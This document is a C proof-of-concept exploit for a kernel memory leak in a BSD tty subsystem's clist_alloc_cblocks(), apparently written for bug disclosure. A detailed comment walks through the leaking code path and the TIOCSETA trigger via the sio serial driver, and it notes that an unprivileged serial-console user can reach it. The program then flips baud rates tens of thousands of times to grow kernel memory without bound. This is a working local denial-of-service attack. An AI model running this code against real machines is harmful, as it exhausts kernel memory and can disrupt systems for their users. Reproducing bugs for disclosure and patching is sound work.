/*
 * DF-2556 PoC — clist_alloc_cblocks() leaks the previous c_data buffer.
 *
 * Bug (sys/kern/tty_subr.c:48-81):
 *   clist_alloc_cblocks() kmalloc()s a new `data` buffer (line 61), copies the
 *   old contents, then overwrites `cl->c_data = data` (line 80) WITHOUT ever
 *   kfree()ing the previous cl->c_data. Every reallocation to a *different*
 *   non-zero size therefore leaks one M_TTYS allocation. The ccmax==0 path
 *   correctly calls clist_free_cblocks(); the ccmax==c_ccmax path returns early;
 *   only the "resize to a different size" path leaks.
 *
 * Trigger: TIOCSETA on a tty whose driver sets t_ispeedwat/t_ospeedwat to
 * (speed_t)-1, so that the baud rate actually changes the computed clist size.
 * The only in-tree driver that does this is sio (sys/dev/serial/sio/sio.c:2480).
 * On this guest the sio tty is /dev/ttyd0 (the serial console). A user logged in
 * on a serial console (their controlling tty) can trigger this unprivileged;
 * here we run against /dev/ttyd0.
 *
 *   tty.c:1085 ttsetwater(tp)  (called from the TIOCSETA handler)
 *     -> ttsetwater tty.c:2457  clist_alloc_cblocks(&t_rawq, x)  (x=ispeed/10+ififosize)
 *     -> ttsetwater tty.c:2489  clist_alloc_cblocks(&t_outq, x)  (x=imax(ohiwat,2048)+OBUFSIZ+100,
 *                            ohiwat grows with ospeed up to 2*TTMAXHIWAT when ospeedwat==-1)
 *   Alternating the baud rate between a low and a high value makes every
 *   TIOCSETA leak the previous rawq+outq c_data buffers.
 *
 * Observable: vmstat -m  type "ttys" memory grows monotonically with iterations.
 *
 * usage: ./poc [tty-path] [iterations]   (defaults: /dev/ttyd0, 40000)
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <termios.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int main(int argc, char **argv)
{
    const char *path = (argc > 1) ? argv[1] : "/dev/ttyd0";
    long iters = (argc > 2) ? strtol(argv[2], NULL, 10) : 40000;
    int fd;

    fd = open(path, O_RDWR | O_NONBLOCK);
    if (fd < 0) { perror(path); return 2; }
    /* drop O_NONBLOCK for ioctl */
    int fl = fcntl(fd, F_GETFL); fcntl(fd, F_SETFL, fl & ~O_NONBLOCK);

    fprintf(stderr, "[+] opened %s; running %ld TIOCSETA resize iterations\n",
            path, iters);

    struct termios t;
    if (tcgetattr(fd, &t) < 0) { perror("tcgetattr"); return 2; }
    /* two distinct baud rates -> distinct rawq+outq clist sizes -> leak each flip.
     * sio sets speedwat=(speed_t)-1 in siosetitm once a speed change crosses an
     * ibufsize boundary; B115200/B9600 give very different cp4ticks -> different
     * ibufsize/t_ififosize and different ispeed/10 -> rawq ccmax differs. */
    speed_t hi = B115200, lo = B9600;

    for (long i = 0; i < iters; i++) {
        cfsetispeed(&t, (i & 1) ? lo : hi);
        cfsetospeed(&t, (i & 1) ? lo : hi);
        if (tcsetattr(fd, TCSANOW, &t) < 0) {
            /* tolerate transient EBUSY/EPERM; keep going to keep leaking */
        }
        if ((i % 5000) == 0)
            fprintf(stderr, "[.] iter %ld\n", i);
    }
    fprintf(stderr, "[+] done %ld iterations; check 'vmstat -m' ttys growth\n", iters);
    close(fd);
    return 0;
}
